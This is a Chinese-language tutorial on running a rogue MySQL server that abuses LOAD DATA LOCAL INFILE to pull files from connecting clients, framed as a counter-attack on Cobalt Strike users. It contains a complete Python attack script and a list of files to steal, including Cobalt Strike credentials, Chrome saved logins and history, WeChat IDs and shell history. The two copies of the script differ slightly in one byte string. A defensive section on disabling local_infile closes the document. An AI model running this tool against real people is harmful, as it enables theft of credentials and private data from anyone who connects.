Mysql蜜罐反制Cobalt Strike
字数 1258 2025-08-26 22:11:22
MySQL蜜罐反制Cobalt Strike技术详解
1. 反制技术概述
1.1 基本原理
MySQL服务端可以利用LOAD DATA LOCAL命令读取MySQL客户端的任意文件。攻击者可以伪造恶意MySQL服务器,向连接的客户端发送读取文件的payload,从而获取敏感信息。
关键特性:
- 不需要MySQL连接成功即可触发文件读取
- 适用于多种MySQL客户端工具
- 可读取客户端本地任意可访问文件
1.2 技术背景
LOAD DATA INFILE是MySQL高效导入数据的命令,其变体LOAD DATA LOCAL INFILE可以从客户端读取文件到服务端。当客户端连接时,服务端可以主动请求客户端发送指定文件内容。
2. MySQL通信协议分析
2.1 标准认证流程
- Greeting包:服务端发送版本信息
- 登录认证:客户端发送用户名和密码hash
- 认证结果:服务端返回成功或失败
- 查询交互:认证成功后执行SQL命令
2.2 Navicat特有行为
Navicat连接成功后会自动发送:
SET NAMES utf8mb4
这为攻击者提供了额外的注入点。
3. LOAD DATA LOCAL攻击原理
3.1 命令功能
LOAD DATA LOCAL INFILE '文件路径' INTO TABLE 表名 FIELDS TERMINATED BY '\n'
此命令可将客户端文件内容读取到服务端表中。
3.2 攻击流程
- 伪造MySQL服务器
- 等待客户端连接
- 完成基础认证后发送恶意响应
- 诱导客户端发送指定文件内容
4. 攻击实现细节
4.1 攻击脚本核心代码
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
evil_response = str.encode(chr(len(filename) + 1)) + b"\x00\x00\x01\xfb" + str.encode(filename)
client.sendall(evil_response)
file_data = client.recv(999999)
# 保存文件内容...
while True:
client, addr = server.accept()
# 发送版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
client.sendall(version_text)
# 处理认证...
# 发送恶意响应
filename = "C:\\目标文件路径"
get_data(filename, client, addr)
client.close()
4.2 关键Payload结构
恶意响应包分为4部分:
- 数据包序号:
00 00 01 - 包类型:
fb - 文件名:从
fb开始到结束 - 文件名长度:十六进制表示
5. 可获取的敏感信息
5.1 Windows系统
-
主机用户名:
C:\Windows\PFRO.log -
Cobalt Strike凭证:
C:\Users\<用户名>\.aggressor.prop包含CS连接的账号、密码、端口等信息
-
微信ID:
C:\Users\<用户名>\Documents\WeChat Files\All Users\config\config.data -
Chrome数据:
- 登录信息:
C:/Users/<用户名>/AppData/Local/Google/Chrome/User Data/Default/Login Data - 历史记录:
C:/Users/<用户名>/AppData/Local/Google/Chrome/User Data/Default/History
- 登录信息:
5.2 macOS系统
-
用户信息:
/var/log/system.log -
微信ID:
/Users/{用户名}/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9/topinfo.data -
Shell历史:
/Users/{用户名}/.bash_history /Users/{用户名}/.zsh_history
6. 攻击条件与限制
6.1 必要条件
-
客户端使用易受攻击的MySQL客户端:
- Navicat安装版(绿色版可能无效)
- 某些版本的MySQL命令行客户端
-
客户端未禁用
LOCAL INFILE功能
6.2 不同客户端的表现
-
Navicat:
- 安装版可成功利用
- 连接后会发送
SET NAMES utf8mb4,提供额外注入点
-
MySQL命令行:
- 部分版本可被利用
- 需要客户端未禁用LOCAL功能
7. 防御措施
-
客户端防护:
- 禁用
LOCAL INFILE功能:SET GLOBAL local_infile = 0; - 在my.cnf/my.ini中添加:
[client] loose-local-infile=0[mysqld] local-infile=0
- 禁用
-
工具选择:
- 使用开源数据库工具如DBeaver
- 使用Navicat绿色版(注意版权问题)
-
网络防护:
- 避免连接不受信任的MySQL服务器
- 使用VPN或专用网络访问数据库
8. 扩展思考
- Linux命令行客户端:需要进一步测试可利用性
- 其他数据库工具:研究其他流行工具是否也存在类似漏洞
- 防护检测:如何识别恶意MySQL服务器
附录:完整攻击脚本
# coding=utf-8
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
base_path = os.path.abspath('.') + "/log/" + addr[0]
if not os.path.exists(base_path):
os.makedirs(base_path)
evil_response = str.encode(chr(len(filename) + 1)) + b"\x00\x00\x01\xfb" + str.encode(filename)
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f:
f.write(file_data)
f.close()
while True:
client, addr = server.accept()
print("连接地址: %s" % str(addr))
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
client.sendall(version_text)
try:
client.recv(9999)
except Exception as e:
print(e)
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client.sendall(verification)
try:
client.recv(9999)
except Exception as e:
print(e)
filename = "C:\\目标文件路径"
get_data(filename, client, addr)
client.close()